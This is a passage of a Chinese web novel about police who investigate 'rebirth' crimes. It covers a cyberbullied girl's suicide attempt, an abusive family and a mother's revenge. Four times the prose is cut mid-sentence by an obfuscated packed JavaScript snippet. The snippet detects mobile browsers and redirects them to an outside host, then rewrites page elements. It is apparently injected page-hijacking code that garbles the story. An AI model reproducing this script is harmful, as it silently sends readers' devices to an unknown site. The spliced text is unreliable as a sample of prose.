空气波动,两根线轻颤着荡起涟漪,其中一根快一些,另一根缓一些,由于不同频,它们在短暂的时间差中产生了分离,就像是池塘里的两个涟漪,一前一后地微妙交叠、干涉、分离。秦于理看准时机,用指尖捻住那根粗一点的因果线,一团光影扑入她的视野。 “让我们一起用掌声欢迎,前途不可限量的未来明星,嗓音醇厚如同一杯烈酒,听一曲就醉的怀旧当家主唱婷婷!” 灯光慵懒的酒吧里,秦于理看到一名穿着玫红色钉珠吊带短裙,披着长发的少女大大方方地走上舞台,拿起话筒。 “大家好,我是婷婷,今天要为大家唱一首老歌《恰似你的温柔》,希望大家喜欢!” 秦于理还是第一次见到朱雯婷本人。她中等身材,长得很漂亮,浑身洋溢着青春朝气,她身上那条裙子换成别人穿或许会有些艳俗,穿在她身上却衬得女孩更像是一朵含苞待放的月季,清纯干净。 酒吧里的顾客不少年岁偏大,有男有女,看到朱雯婷上台,立刻鼓起掌来。当女孩子跟着第一个音符开口的时候,他们立刻露出了陶醉的表情。 “她唱歌好像朱平啊!” 突然响起的声音让秦于理怔了一下,她环视四周,并没有看到别人的身影:“方许恩?” “秦警官?秦警官你听得到吗,是我。” “你在因果空间里?”秦于理从没碰到过这种情况,她和秋樰生都接触了重生者,会看到原主和重生者的记忆很正常,赵萌萌那里有设备,能接收声音并模拟图像,可方许恩怎么能看到? 秦于理忽然想起方许恩曾在茶餐厅里说过,他看到有人从七八层高掉下来,还掉了好几次。可事实上,肖英俊从会展中心七楼掉下来是刚刚才发生的事。 方许恩这个人果然有问题。 方许恩还不知道秦于理在分析他,他说:“我也不知道是怎么回事,你跟着那个男孩子跳下去以后,我想抓住你,我好像碰到了你一下,跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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肖英俊微微震了一下,他抬头看向这个与自己年龄相仿的女生,头一低:“我不认识你!”说完就想走。 朱雯婷一把拉住他:“你别想撒谎,我用IP地址查到了网吧,从网吧监控里找到了你!” “松手!”肖英俊呵斥,“我不知道你在说什么,疯女人!” 朱雯婷气得满脸通红说:“你为什么要做这种事,你知道这对女孩子的伤害有多大吗?” 大概是觉得反正被发现了也没所谓了,肖英俊破罐子破摔地吊儿郎当回答道:“狗屁的伤害,还没成年就去酒吧搔首弄姿的女人本来就是贱人!” “你!”朱雯婷的表情一下子变了,她像是要哭出来一般,叫道,“你怎么能这样?!” “我什么样,我就是看不惯你们这样的贱女人,谁让你出来卖的!” 朱雯婷闻言,一下子脸色又变得惨白:“我没有卖……你、你怎么嘴这么脏,你妈妈要是知道了会怎么想!” “我妈也是个贱人,她早死了!”肖英俊的脸色也变了,他那原本清秀带着点稚嫩的脸孔一下子变得无比扭曲,像个小怪物,“自甘堕落的女人都该死!老子没有妈!滚开!” 肖英俊伸手一把推开朱雯婷,女孩子被他推得往后一屁股坐倒在地上,愣愣地看着他。 “SB!”肖英俊骂了一声,自顾自地走了。 朱雯婷望着他的背影,目光里透露出难言的悲伤和震惊。 滴答——滴答—— 秦于理抬起头,天上阴云密布,乌云翻涌着将脏兮兮的雨水洒向大地,这令人窒息的一幕呵! 24.第24章 断裂的因果线 秋樰生跟着中年女人走街串巷,在上一团光影中,朱雯婷还只是郁郁寡欢,话变少了的样子,进到新的因果节点中,朱雯婷已经躺在了床上,成为了一个年轻的植物人。 朱雯婷的母亲到处找人打听,为什么女儿会突然吃了药从会展中心顶楼摔落,她想知道她孝顺贴心美丽有才华的女儿到底是遇到了什么事才会丢下她这个孤独的老母亲,走上这样一条不归路。 老师说:“婷婷妈妈,婷婷的事情我们也很遗憾,之前网络上有些关于她的不实传言,给她造成了很大的心理负担,我们也想帮她,所以在班上特地开了会,严令禁止同学传谣,但管得住现实,我们管不了网络,管得住校内,校外我们实在是爱莫难助啊!” 朱母翻看着女孩被涂污的课本,还有那些充满了恶意谩骂,塞满了整个书包的小纸条,看着女孩曾经的班主任和声细语地撇清责任,她低下头,痛苦得浑身发抖。 “我只想知道,到底是谁在欺负她,学校这里就没有掌握一点线索吗?” “班长跟我说过,婷婷曾经去报过警,警方建议她先起诉平台,拿到平台提供的发帖人信息后再去起诉对方,或许您可以试着联系一下朱雯婷同学经常使用的社交APP官方。哎呀,不好意思,上课时间到了,我得去班级里了……” 朱母不情愿,但还是不得不站起身来:“老师,谢谢您。” “这是应该的,婷婷妈妈,节哀啊。”老师自然而然地说道。 朱母猛然一震,跟着尖叫出声:“我女儿还没死,她会醒的,她一定会醒的!” 秋樰生从光影中退出,沉默地看向一室的线条。那些围绕着母女俩一圈一圈的红黑色的线,像是朱母流不尽的眼泪和怨恨的具象化,秋樰生接触过那么多恶性案件犯罪者,其中很多原本并不起眼,甚至被评价为老实人,但就算是真的老实人,兔子逼急了,也是会咬人的! 秋樰生伸手再次触碰因果线,“轰”的热风腾起,他看到自己站在路边一条小巷子里,朱母在他身边,正微微探头看向不远处。 那里有什么? 秋樰生跟着看过去,他看到了路灯下的肖英俊。 少年还穿着校服,坐在马路边,正在喂一只流浪猫吃火腿肠。 “乖乖,呵呵。”少年抚摸着小猫毛茸茸的小脑袋,难得脸上露出了笑容。这只小猫长得不大好看,身上的毛脏兮兮的,还有脱毛的部分,一条腿可能被人打瘸了,走起路来一跳一跳的,少年却并不在意。 “我一见你就知道,你跟我一样,是没人要的家伙!” 小猫蹭了蹭少年的手,发出呼噜呼噜的声音,努力讨好着对方。 路边的杂货铺里传出女人的歌声,大概是网络无名歌手的怀旧老歌集锦,不算难听。夜幕下,少年凝神听了一会儿,发出嗤之以鼻的声音:“唱得还没那个贱女人好,也没那个朱什么婷的好……” 肖英俊的声音忽而低落下去,他用力抚摸丑猫的脑袋:“不就是网上被说两句,又不会掉半块肉,她怎么那么脆弱,说死就死!谁过得不苦啊,她要是吃过我吃得那些苦,是不是早就死千儿八百回啦!” 少年不自觉的用力,小猫感到疼痛,挣扎了一下,少年却突然变得狂暴起来,他一脚踢开小猫:“滚!没良心的东西!”小猫发出“嗷”的一声,一瘸一拐地跑走了。 秋樰生的眼底看到了一点光,他侧目,发现偷窥的朱母手里攥着一把锋锐的水果刀。 猫打跑了,少年似乎觉得很没趣,起身往这里走过来:“烦死了,真不想回去,老东西喝醉了酒又要打人!妈的,总有一天弄死他!” 朱母的身体随着肖英俊的接近,颤抖得越来越厉害,秋樰生甚至听到了她牙关打架又死死咬住的声音,不知道是害怕还是兴奋。 她查了那么久,终于找到了害自己女儿的凶手之一,虽然害她女儿的人还有好多、好多、好多个,但这个是最早发声的! 明明是差不多的年纪,明明现实里根本不认识,为什么能堂而皇之地做出这么可恶的事情,把人逼到自杀却毫无愧疚?!她不明白! 朱母动了,秋樰生几乎已经预见到接下去会发生的事,但是一个喝得醉醺醺的中年壮汉突然闯入了视野,朱母又不动了。 “狗东西,这么晚还在外面晃荡,作业做了没有!”男人上前揪住少年的头发就是一脚。 “做了做了,爸,学校有晚自修,我刚放学回来!”肖英俊惊恐地应承着,在肖浩面前,他似乎有种根深蒂固的恐惧,哪怕现在的他已经比肖浩高了。 “废物!”男人摇摇晃晃拿起酒瓶吹喇叭,吹完一抹嘴,“给爸点钱,赢了加倍还你!” 少年哆哆嗦嗦地说:“爸,我没钱了,真的……”见男人作势要打,少年吓得惊叫,“奶!” 男人一回头,再回过头来的时候,少年已经跑出去一大截了,男人气得把喝空的酒瓶砸向远处:“畜生!跟那个贱女人一样会骗人!你有种一辈子别回来,看老子打不死你!” 男人骂了一通,这才趿拉着拖鞋,痞痞赖赖地走开。秋樰生本以为他会往回走,没想到居然拐了个弯,直接冲着朱母躲藏的地方而来。 一瞬间,空气里仿佛出现了无数看不见的细密针尖,刺得人头皮发麻。 这是怎么了? 秋樰生虽然第一次进因果空间,但之前的两团光影里,他都没有这种感受。 肖浩一步步走近,秋樰生听到了“咚咚”的脚步声。他看向朱母,发现女人在这时候就像是被惊吓过度的小动物一样,维持着一个僵硬的姿势,一动也不动。 她在害怕肖浩吗,因为她想杀了肖英俊,为朱雯婷报仇? 一张青面獠牙的鬼脸闯进了秋樰生的视野,由于两人贴得很近,就连挂着“活无常”外号的秋队也忍不住惊了一下。他清楚地记得,刚刚在路灯下的肖浩只是一个块头大、面相凶的中年醉汉,可此时出现在巷子里的却怎么看都是一只鬼!一个吃人的怪物! 那家伙体型异常高大,皮肤森蓝,长满了脓疮,黑气从破裂的脓疮处蔓延出来,使得他整个人像浸润在一团黑烟中,只有那张獠牙外露的鬼脸的每一个毛孔都能看得清清楚楚。 经过朱母身边的时候,他停顿了一下,像是有点疑惑地看向这个低着头,缩成一团的女人。 “你……” 女人猛然向前倒去,秋樰生下意识地伸手想要去搀扶,一捞捞了个空,这才想起来眼前这些都不是实体。 肖浩反而被突然倒地的女人吓了一跳,他猛然跳开,酒也似乎醒了几分:“谁啊你,别想讹老子,要死死远点!” 肖浩带着满身黑气走远了,空气像是慢慢解冻,秋樰生想看看朱母怎么样了,可惜因果图景只到这里为止了。 秋樰生向赵萌萌同步消息:“朱雯婷的妈妈为了给女儿报仇,找到了肖英俊,她想杀了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444711|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这可能就是造成肖英俊后续死亡的直接原因。” …… 肖英俊的死亡是朱母造成的? 秦于理听到了赵萌萌同步过来的秋樰生的信息,她此时站在一间网吧里,肖英俊在她前方猛敲键盘。 “急求让人重生的方法,在线等!交易条件私聊!” 下面全都是嘻嘻哈哈的乐子人。 “我还当谁,这不是克哥吗,这是不克xxn,改修仙了?” “重生方法我知道啊,免费分享给你,听好了,先收集7斤处女拉的干粑粑,再加上7斤新鲜xxn姨妈血……” “楼主这么着急求重生方法是杀了什么人吗?别客气,照片发出来大家一起欣赏欣赏!” 肖英俊用力锤了下桌子,旁边坐着的两名顾客莫名看了他一眼,其中一个骂了句“神经”,随后便又沉浸到自己的世界里了。 “你为什么要找到重生法?”秦于理问,“你在后悔逼死了朱雯婷吗,这可不像是你,你没有良心。” 肖英俊当然是听不到的,他只是打开外网,开始寻找国外论坛上的知识。 肖英俊的英文并不好,往往要配合网页翻译才能看个大概,何况他也压根不知道要到大海的哪里去捞那根针。 不知道扑空几次后,有人私了他账号:“你在找让人复活的方法吗?” 肖英俊精神一振,秦于理说:“萌萌,外网论坛SACRED找一个ID为ashjft106的用户信息,应该是中文母语使用者。” 赵萌萌:“收到。” 秦于理看到肖英俊开始打字:“你真的有办法让人重生吗,我有个朋友出事了,我想帮帮他!” 他? 秦于理思索,这是打错了字,还是肖英俊没有区分他和她的习惯? “你相信人可以复活吗?”对面慢悠悠地回复。 “老实说,我不信,但我没有办法了,他要是死了,我也会跟着一起完蛋的!” 那头出现了正在输入的信息,过了会儿,屏幕上跳出了非常简单的四个字——你杀人了。 肖英俊猛然往后退,从电脑椅上慌乱地摔了下去,旁边两个顾客终于受不了他了,骂骂咧咧地跟网管要求换了机子,这里只留下了肖英俊一个人。 屏幕上的文字一行行的出现。 “你是第一次杀人吗,感觉怎么样?” “尸体留在了哪里,那东西容易坏,你得抓紧时间。” “我可以告诉你让人复活的方法,我曾经成功过。” 肖英俊哆哆嗦嗦爬起来,重新坐回椅子上打字:“你真的有办法吗,我还在读书,没有很多钱……” “我不需要钱。” “那你要什么?” “一点微不足道的小东西。” “我有吗?” “你当然有。” “……好。” “今晚……” 秦于理眼前的世界到这两个字为止,突然断电一样一黑,她又回到了因果空间中。 眼前的因果线似乎和进入之前没什么区别,她思索了一会儿,没有结论。突然,她蹲下身,用手指碰了碰地面。 重新抬起手,秦于理看到自己的指尖沾染上了一点黑色的粉屑。 秦于理环视四周,这个诡异的因果线的世界里似乎还是只有她一个人在,但刚刚有什么东西被掐断焚毁了,是一根因果线! 25.第25章 因果线收束 “秋樰生。” “嗯?”坐在一堆红黑色因果线旁边的秋樰生被打断思绪,回过神来。 “你的结论是什么?”赵萌萌和秦于理的声音同时响起。 “我的结论?” “你捋出来的事件因果是怎么样的?” “我的结论是……”秋樰生飞快地说明。 “十年前,白渡区香河路112弄的幸福小区住着一户人家,家里有四口人,分别是家庭妇女婆婆,当屠夫的儿子肖浩,当家庭妇女的儿媳妇朱平,以及一个六七岁的孙子肖英俊。肖浩脾气暴躁,经常家暴老婆朱平,尤其对她喜欢唱歌,去隀明大剧院当义务的音乐剧演员这一点十分不满。某天晚上,夫妻俩因为琐事再度起了争执,肖浩失手打死了朱平,同一时刻,隀明山发生了一起公交车坠崖的意外事故,一对母女被卷入其中,女儿朱雯婷死亡,朱平意外重生到了她身上,开启了新的人生。” “重生后的朱平依然热爱唱歌,她凭借前世的经验积累,小小年纪就展露头角,被怀旧酒吧的老板看中,邀请她当驻唱歌手。朱雯婷为了帮补家用,”秋樰生顿了顿,“或许也是为了存钱,将来有机会进修音乐,走上职业道路,她欣然同意。没想到,有人偷拍她的照片发到网上并杜撰了黄色情节,一下子败坏了她的名声。朱雯婷被孤立霸凌,受到很大的打击,于是报警,但警方建议她通过起诉平台,锁定一个目标打官司,女孩没钱,只能通过自己的方法找人。她发了很多私信,走了很多地方,终于找到了最初的发帖者,她没有想到,那个始作俑者竟然是她自己的前世朱平留下的儿子肖英俊。” “朱雯婷与肖英俊当面对峙,被肖英俊的言行举止刺激,产生了厌世心理,回去后,她开始计划自己的自杀行动,半个多月前,她在大量服用精神类药物以后,在恍惚中从曾经的隀明大剧院,今天的隀明新发展会展中心楼上摔落,但她自己都没想到,她没死成,而是摔成了植物人,被其母亲留在家中照顾。” “朱母悲愤交加,誓要找到害自己女儿的凶手,为她报仇。”秦于理接了下去,“但她不知道,肖英俊那头也起了变化。也许是知道了女孩的惨状,他终于良心发现想弥补自己的过失,总之他开始转而寻求玄学的帮助,在外网上,他遇见了一个网友,对方表示自己知道让人复活的办法,只需要小小代价作为交换……” “复活?复活和重生好像是两码事吧。” “谁?”秋樰生问,“这儿还有其他人?” “是方许恩。”秦于理说,“你当他是台CCTV就好。” 方许恩:“啊?” 秋樰生:“明白。” 方许恩:“……” 赵萌萌:“鲤鱼姐,我查到那个id了,对方用了好几个跳板,但最终锁定的位置,在隀明市!” “所以,那个复活方法是真的?肖英俊想要让朱雯婷重生,但他得到的其实是重生方法,结果朱雯婷的母亲反复砍杀肖英俊,他每次都死不掉,后续又会复活,造成了死去活来的不断循环?” 秋樰生回答:“看起来是这样。” “什么叫看起来是这样?”方许恩问,“哪里还有问题吗?” 秦于理绕过了两人的争吵,问:“萌萌,我们还剩多少时间?” “现实时间7秒多,在因果世界里应该还有七分钟左右。” 秋樰生问:“我现在该做什么,剪断朱雯婷和朱平因重生产生的错误因果线节点吗?肖英俊的重生又要怎么办?” 秦于理忽然问:“你那里摸到的是朱雯婷的因果线,你是怎么知道朱母想要杀死肖英俊的?” “我在因果线里看到的。”秋樰生也隐隐感觉到了什么。 “嗯,我可以作证。”方许恩说,“那个妈妈藏在巷子里想要对落单的肖英俊动手,没想到肖浩突然出现,她受到了很大的惊吓。” “朱母因为肖浩受到了很大的惊吓?”秦于理又重复了一遍。 “是啊,我也觉得很意外。”方许恩说,“那个肖浩虽然长得一脸凶相,但又不认识她,她其实没必要害怕成那样,差一点儿就露馅了!” 秋樰生说:“肖浩走过来时,我看到的是一只青面獠牙,满身黑气的鬼。” 方许恩震惊:“什么青面鬼,我怎么没瞧见?” “你看到的是怎样的肖浩?” “我看到的就是肖浩本人啊,没什么变化,你是不是看错了?” “0000没看错,”秦于理终于知道让她迟迟无法下决定的障碍是什么了,“因为他那会儿看到的不是朱雯婷的视角,那时候朱雯婷已经变成了植物人,她的视角里只有天花板,更不是肖英俊的视角,因为肖英俊在那个时候已经跑开了,他看到的是……” “我看到的是……” 秦于理和秋樰生两人异口同声,得出结论,但他们谁都没能听到另一边的声音,因为就在两人话语出口的时候,一声巨大的电流噪音几乎将三个人的耳膜都震破,世界天旋地转,因果线同时在秋樰生与秦于理两边开始绷断。赵萌萌发出惊呼:“因果线提前收束了,你们快出来,只剩3.5秒!” 秦于理伏低身形,抓住尚未断裂的因果线在空中腾挪,光影画面一团团向她扑来,如同有人在她的脑海中10倍速播放电视画面,她的眼前明暗不停交错,整个世界都亦真亦幻,颠倒不堪。她看到肖英俊被肖浩鞭打得浑身是血,又看到肖英俊在校园里欺负女同学,看到肖英俊坐在黄昏的马路边,在一片喇叭引擎声中陶醉地歌唱,也看到肖英俊偷偷摸摸爬上无人的会展中心舞台,想象着有一天自己能够站在这里,接受万人瞩目…… 肖英俊唱歌?肖英俊沉醉舞台?可笑! 秦于理手起刀落,指虎亮出尖刺,逐一斩断错误的因果节点。寒芒闪过处,一团团的黑烟腾起,凝聚成一张张黑洞洞的鬼脸又急速尖叫着消散。 秦于理在密集的因果线网中如同弹琴一般拨弄震动,将每一根线都送到正确的地方去。这次,不仅有两个重生者,构成了两套错误的因果网,还有人对重案组的出现做了防备,增加了一套虚假的因果情报网,这才使得这个地区的污染在短时间内到达如此严重的地步! 重生者的确有两个,但不是朱雯婷和肖英俊,而是…… “朱母才是容器。”秋樰生喃喃道。 他又一次回到了公交车上,看到了朱雯婷母女分食一只水煮蛋。车祸到来,两人被甩出车厢,朱母将女儿紧紧抱在怀中,替她承担了大部分的冲击和伤害。 瓢泼大雨淋下,朱母醒来,发现女儿昏倒在血泊中,在那一刻,她爆发出了无比强大的求生意志,抱起女儿在山路上攀爬,不断哀嚎求救,终于重新回到公路上,拦下了一辆途径的轿车。 “救救我……女儿……” 母亲抱着女儿倒在车前,好心的车主人赶紧将两人抱上车,急踩油门冲向医院。没有人知道,倒在后座的母女俩中,母亲已经悄悄断了气,她的内脏几乎都碎了,却因为对女儿的爱和肾上腺素在危急时刻的剧烈飙升,使得她将最后的生命力全都用在了解救朱雯婷身上。 同一时刻,被肖浩打死的朱平的灵魂无声无息地重生在了朱母的身上,成为了后来与朱雯婷相依为命,教朱雯婷唱歌,鼓励她坚持音乐道路的引路人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455250|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 方许恩没有听错,朱雯婷唱歌的确很似朱平,因为朱平就是她的老师,是她的妈妈! “如果剪断了这根因果线会怎么样?” “一切会回到原本的道路上。”秦于理的声音响起,“朱平和朱母都会死,朱雯婷也许也无法豁免,很多年后,肖英俊或许依然在网上到处骂人,总有一天闯下大祸,但被他害死的人里面,应该会少一个朱雯婷。” 秋樰生沉默不语。 秦于理说:“你要是下不了决……” “心”字没有出口,因为秋樰生快她一步,扯断了绳结。 因果空间发生剧烈的震荡,赵萌萌的声音从很远的地方传来:“因果线急剧收束,空间快塌了,你们快退出来!!!” 像黄河之水轰隆隆一路奔走到泾渭分明的地界,一清一浊两股洪流互相碰擦了一下,回旋转向,又各自奔向真正属于自己的河道! “方许恩,你退出去!” “怎么退,啊?”方许恩惊慌地呼叫,他坐的小黑屋里此时冰凉的洪水已经没到了小腿,水面还在快速上涨中。 “怎么进来的怎么出去,出门!”秦于理吼他。 方许恩连滚带爬地扒拉开水面,跑到门边,但怎么扭动门把手,门就是一动不动。 “外面好像也有水,门打不开,我被困住了!”方许恩快急哭了,他一个养尊处优的公子哥儿,哪里遇见过这么可怕的事! “门出不去就深吸一口气……” 方许恩问:“然、然后呢?” “往上游!”秦于理的声音传来,“你是观察者,你所看到的洪水只是无数的记忆洪流,它们无法真正伤害到你,只要你想,你就能冒出水面!” 方许恩咬了咬牙,深吸一口气,大浪打来,瞬间将他没顶。 方许恩在水里调整了一下姿势,努力向上游。 明明他刚刚是在一间很小的屋子里,此时周围却仿佛变成了无尽的大海,他不停地往上、往上、往上,但天空仍然在很远很远的地方。 “我快、快撑不住了!”方许恩焦急地想,但此时他身边空无一人,甚至没有一件东西。秦于理、秋樰生都不见了,他刚刚盯着看的屏幕连同桌椅都崩散成了水里的泡沫,一串串地往上浮起,方许恩真的不知道自己这次能不能出去。 “如果我死在这里,外面的我会怎么样?会不会我也变成一具植物人?”方许恩忍不住想,他已经憋不住了,气泡一串串从他口中吐出,水流开始往他的鼻子嘴巴里倒灌,方许恩下意识地挣扎,可越是挣扎越是往下沉,他离那片天空也越来越远…… “完了,这次真的要死了!”方许恩缓缓下沉,突然,两束强光打在他的脸上。方许恩下意识地闭了闭眼,一辆黑色林肯向着他无声地飞速驶来,方许恩眼睁睁看着那辆幽灵车撞入自己的身体,像是有人狠狠推了自己一把。 “活下去!” “妈妈……” 方许恩睁开眼睛,拼命地咳嗽,人们七手八脚地把他拖下来。 “小伙子年纪轻轻,有什么想不开的要跳楼!可算是救下来了!” 方许恩望着眼前穿着消防制服和保安制服的人突然想起来什么,猛地跳跃而起,再次凑到天台围栏边,探头往下看。 人们七手八脚地再次把他扯回来,方许恩只来得及看到一眼,但他安心了。 隀明新发展会展中心的楼下张开了一张巨大的救生床,上面躺着个少年,黑衣黑裤黑发的女警察已经跳下救生床,正在和为首的消防官兵说着什么。 “太好了,终于结束了。”方许恩想,眼前一黑,昏了过去。 26.第26章 还没有结束 事情恐怕还没结束! 秋樰生睁开眼睛,发现自己正身处在一间昏暗的房间内。屋子里循环响着规律的“滴答”声,间歇性有什么仪器在运作,发出气泵压缩启动的声响。整间屋子的空气沉闷,掺杂着浓浓的中药味。 突然,“唰”的一声,有人打开了窗帘,秋樰生忍不住挡了一下眼睛。再看的时候,傍晚的阳光洒进了窗棂,他正身处一间一居室内,面前的床上躺着一个插着鼻饲管,配备了心电监测仪的瘦削小女生,站在窗前的则是一名头发花白的中年女人。 秋樰生知道那是朱雯婷的母亲,现在的躯壳里住着的则是十年前本该死了的朱平。 “天放晴了。”朱母淡淡说着,打开窗户,让雨后清新的空气透进来,释放满屋子的浊气。“以前总听老人说,人这一辈子,赤条条的来,还是赤条条的走,所有外物,不过是生不带来,死不带去的空。我以前不这么觉得,现在才知道老人的话总是有道理的。” 女人走到衣橱前,打开衣柜,找出一条连衣裙,那是一条十分夸张并且并不昂贵的老式表演服装,她看了又看,珍惜地抚摸了一次次,似乎想要给自己换上,但最后还是放了回去。 “给你说说我的人生吧,我曾经有个梦想,为了婚姻和家庭,我放弃了;我曾经有个丈夫,十年前,他变成一只恶鬼,把我打死了;我曾经也有个儿子,十年后,他被养成了一头畜生,到处招惹是非;而我的女儿……”女人看向床上躺着,一动不动的女孩,她走过去,伸手轻轻抚摸女孩的脸庞,替她整理并不杂乱的发丝,“而我的女儿,因为我的畜生儿子变成了现在这样。空啊,一场空,我以为自己能抓在手里的东西,最后都从指缝间流走了,我以为上天给了我第二次机会,没想到这次不仅是空欢喜,还带来了更多的伤害。” 女人发出沉沉叹息,她走到秋樰生身前,秋樰生正戒备着她要做什么,女人却伸出双手,靠拢了举到他面前:“我听说公安系统里有处理我这种罪犯的专门组织,你就是吧,你把我带走吧。” 秋樰生愣了短暂的一下,很快摸出手铐,“咔擦”一声铐住了女人。 女人的脸上露出了一瞬间的释怀:“真好,我也累了。” 秋樰生问她:“你是不是早就这么计划着了?” 女人惊讶:“你说什么?” 秋樰生说:“你重生以后,低调生活了十年,带大了朱雯婷,说明你有隐藏自己的本事,但你这次特意在我同事来之前,画了石灰圈,烧了香花医院的处方笺,还特地摆了一块朱平的灵位,你本不需要这么做的,我觉得你好像是在提前祭奠你自己。” 朱平笑了:“我文化水平低,想不出这么复杂的东西。” 秋樰生欲言又止:“可你走后,她怎么办?” 女人没有回头再看床上,她只是淡淡地说:“只要还活着,总归会有办法的。” 秋樰生押着女人出门,走到门口的时候,女人突然停下脚步,回身看向屋内,秋樰生也跟着回头,随后发现客厅的供桌上摆放了数张大大小小的照片,有一家三口的,有母女俩的,最中间是一张尚且称得上年轻的女人的单人相片。她有着和眼前女人一样的相貌,留着清丽的披肩发,对着镜头,腼腆地笑着,气质截然不同。 秋樰生看看相片,又看看眼前一模一样的朱平,女人问她:“你知道她叫什么吗?” 秋樰生摇摇头。 “她叫吴秋萍。”朱平说,“同我一样,是个可怜人!” …… 少年醒过来的时候,秦于理正在同郑金虎打电话,夕阳将她窈窕的剪影映在墙上,像是一张美丽的画。 “秦队,找到你说的尸体了,肖浩,44岁,本地人,死因是饮酒过度导致的急性酒精中毒,身上的伤经法医现场检查大致确定都是发病后倒下撞击到家具造成的,看着流血多,但是不致命,不是死亡主因。” 那头传来老太婆的干嚎:“儿子,我苦命的儿子啊,那个小畜生,他居然连他爹都杀,白白养他十多年,他同他娘一样都是白眼儿狼!!!” 秦于理摁了一下发疼的耳膜说:“好的,谢谢你,郑队,后续收尾又要麻烦刑侦队的同事们了。” “哎,客气什么,既然叫了同事,大家就都是一家人,分什么你的我的。对了,我给你找来的那个‘活无常’,你用着怎么样?” “活无常?”秦于理一时没反应过来。 “就是秋樰生!”郑金虎说,“他呀,脾气急,手段狠,但办案是真的有一套,要不是你们急需补充新0000,这个人我可是早就看中了!” “哦,他呀,还行。”秦于理说,“脾气急,手段烂,办案手法么……”秦于理眼前浮现秋樰生的脸孔:“算是孺子可教吧。” “那你算是收下了?”郑金虎声音里透着股没来由的“嫁女儿”的喜气。 “郑队,我怎么觉得你一点儿也不想留下他?” “哪儿的话,我这不是,选拔优秀人才,送到合适岗位上嘛,万一他将来建功立业,为咱们隀明市做出杰出贡献,那军功章里有你的一半,也多少有我的,呃,四分之一吧!” 秦于理知道郑金虎在跟她开玩笑,她又耐着性子应付了几句,切断了电话,一回头,就看到少年缩在床的一角,有些畏惧地看着她。 秦于理走过去,打开床边的台灯:“别害怕,这里是隀明市警局里的临时休息室。” “警局……”少年重复了一遍,随后像是吓到了一样,呆住了,“我、我怎么……”他脸上的表情变了数变,最后强行装出了无事发生的样子。 “你妈妈朱平犯了重生罪,已经被我们逮捕归案了。” “什么?!”少年猛然跳了起来,又因为头晕,摔回了床上。 “别激动,你乖乖听话的话,很快就能见到她了。”秦于理说,“你懂我的意思,对吧,婷婷。” 少年的脸一下子僵住了,他下意识地反驳:“我不懂你的意思!” 秦于理说:“重生矫正是一个很痛苦的过程,但也很漫长,短则几个月,长,或许数年不止,你会被关进远离人世的地方,在那里你不缺吃喝,可以做自己想做的任何不违反法律与公序良俗,不影响他人的事,比如说,你可以和你妈妈在一起。” 少年的呼吸瞬间变得急促起来,过了好一会儿,他才像是下定了决心一般问道:“你说得是真的吗?” “真的。”秦于理说,“肖英俊已经死了,现在重生在他躯壳里的是你,重生者朱雯婷,你妈妈朱平主动暴露自己,就是为了让你有个健康的躯体可以继续好好地活在这个世界上,很可惜,她的阴谋被我戳穿了。” 少年看着眼前一脸冷淡却又莫名亲切的大姐姐,慢慢的,他扬起了一个笑:“我明白了。大姐姐,我肚子饿了,可以吃饭吗?” “可以。” “吃完饭,我可以见到我妈妈吗?” “还不行,要再晚些时候,你还得办手续。” “那我可以唱歌吗?” “可以,你想唱什么?” “姐姐你喜欢蔡琴的《你的眼神》吗?” “你可以唱给我听。” 很快,屋子里响起了介于少年与少女之间的嗓音,她唱道:“像一阵细雨,洒落我心底,那感觉如此神秘……” 歌声悠扬,穿门过户,飘散在隀明市宁静的傍晚夜空中。 …… 方许恩猛然睁开眼睛,大口大口地喘着粗气。 “少爷,少爷您没事吧?”有人推门进来,迅速点亮了床头灯光,是他的老管家雍伯。 雍伯轻轻拍打着方许恩的脊背,替他抚顺气息,又用手绢替他擦拭额头的汗水:“少爷,您是怎么回事,回国才那么点时间就出了大事,您是想吓死雍伯啊!” 方许恩伸手握住雍伯已经年老皱皮的手,轻轻捏了捏:“我没事的,雍伯,就是当了回见义勇为的好市民,帮警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459737|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察抓了个罪犯。” “哎哟,差点从七楼掉下去,您还说不是大事啊,我看到新闻的时候差点连命都要吓没了,您可不能这样吓我啊,雍伯年纪大了,经不起吓了!” “雍伯,我梦见我过世的爸妈了。” 方许恩的话一下子让刚刚还在呼天抢地的雍伯停了下来,他小心翼翼地看向方许恩,问:“少爷,您刚刚说什么?” 